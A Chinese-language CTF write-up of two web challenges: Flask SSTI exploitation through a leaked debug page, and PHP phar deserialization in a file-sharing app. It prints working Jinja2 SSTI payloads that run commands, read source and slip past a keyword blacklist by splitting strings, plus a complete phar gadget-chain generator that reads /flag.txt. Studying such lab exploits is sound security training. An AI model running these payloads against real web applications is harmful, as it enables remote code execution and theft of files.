知识点
- os.listdir() 方法用于返回指定的文件夹包含的文件或文件夹的名字的列表。
- 什么是phar反序列化:传送门
34-1 [GYCTF2020]FlaskApp
做题思路
打开题目发现一个base64加密解密的界面
其中还有一个提示,点开提示写到
据WP得知 应该由此能想到Flask的debug模式。。
base64decode在不会解析的时候就会报错,然后习惯性对base64解密页面进行报错实验,base64解密界面随意输入字符串,导致解码报错,进入Debug页面,发现了部分源码。
有关解密的关键代码如下:
获取我们传的text参数,进行解密,如果可以过waf则执行代码。
@app.route('/decode',methods=['POST','GET']) def decode(): if request.values.get('text') : text = request.values.get("text") text_decode = base64.b64decode(text.encode()) tmp = "结果 : {0}".format(text_decode.decode()) if waf(tmp) : flash("no no no !!") return redirect(url_for('decode')) res = render_template_string(tmp) # 模板渲染
所以可以使用ssti注入。我们简单试一试:
加密页面:
解密:
发现确实存在ssti注入。
直接执行命令:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %} // 查看根目录
发现不行,所以思考waf()函数是否过滤了什么
读源码:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
在python3下已经没有file了,所以是直接用open。
waf函数发现了过滤
原来是flag和os等被过滤。def waf(str): black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] for x in black_list : if x in str.lower() : return 1
那么我们可以利用字符串拼接找目录与执行命令。
扫描根目录/:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
os.listdir() 方法用于返回指定的文件夹包含的文件或文件夹的名字的列表。
发现了this_is_the_flag.txt
读取this_is_the_flag.txt:
由于waf过滤了flag,所以我们对“flag”进行拼接:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
得到flag:
34-2 [CISCN2019 华北赛区 Day1 Web1]Dropbox
做题思路
打开题目之后注册账号,发现一个上传文件,尝试抓包上传
没发现什么东西,由于没有地址所以无法蚁剑连接,抓包的时候发现
那是不是可以借此任意下载文件
修改filename可进行任意文件的下载(下载不了flag)。
于是下载网页源码,index.php,class.php,delete.php,ownload.php
注意到class.php中的Filelist类中的__destruct可以读取任意文件public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; }
class.php中的delete函数使用了unlink函数
public function detele() { unlink($this->filename); }
而delete.php中又调用了delete函数
include "class.php"; chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response); } else { Header("Content-type: application/json"); $response = array("success" => false, "error" => "File not exist"); echo json_encode($response); }
综上,满足了phar反序列化利用的三个条件,所以可以使用phar反序列化来获取flag生成phar文件的php代码:
<?php class User { public $db; } class File{ public $filename; public function __construct($name){ $this->filename=$name; } } class FileList { private $files; public function __construct(){ $this->files=array(new File('/flag.txt')); } } $o = new User(); $o->db =new FileList(); @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
之后将生成的phar文件后缀改为jpg上传。
接下来再点击删除文件,将文件名改为phar://phar.jpg即可获得flag
借鉴WP